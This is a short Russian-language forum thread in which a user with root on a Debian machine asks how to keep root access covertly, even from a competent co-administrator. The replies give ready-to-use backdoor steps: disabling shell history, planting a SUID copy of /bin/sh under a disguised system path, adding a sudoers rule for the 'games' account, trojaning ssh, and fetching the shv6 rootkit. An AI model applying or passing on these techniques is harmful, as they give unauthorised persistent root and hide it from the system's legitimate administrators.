Доступ к руту
 

Debian, имеется рутовый доступ. Если поменяют пароль рутовый, то каким образом его можно будет восстановить его или зайти под правами рута?

саздай юзера и дай ему грин права,a root остав ;)

суидник с exec /bin/sh спрятать

sudo попробуй настроить
/etc/sudoers
games ALL =(ALL) ALL

троянить ssh самый верный способ.

P.S. создать юзера - не вариант. Второй пользователь который имеет доступ к машине хороший администратор и почистит все грамотно.

unset HISTFILE
cp /bin/sh /usr/lib/hal/hal-hw
chmod u+s /usr/lib/hal/hal-hw

запускаеш /usr/lib/hal/hal-hw с простово юзера и имееш еuid=0

shv6 или svh6 скачай, отличный трой.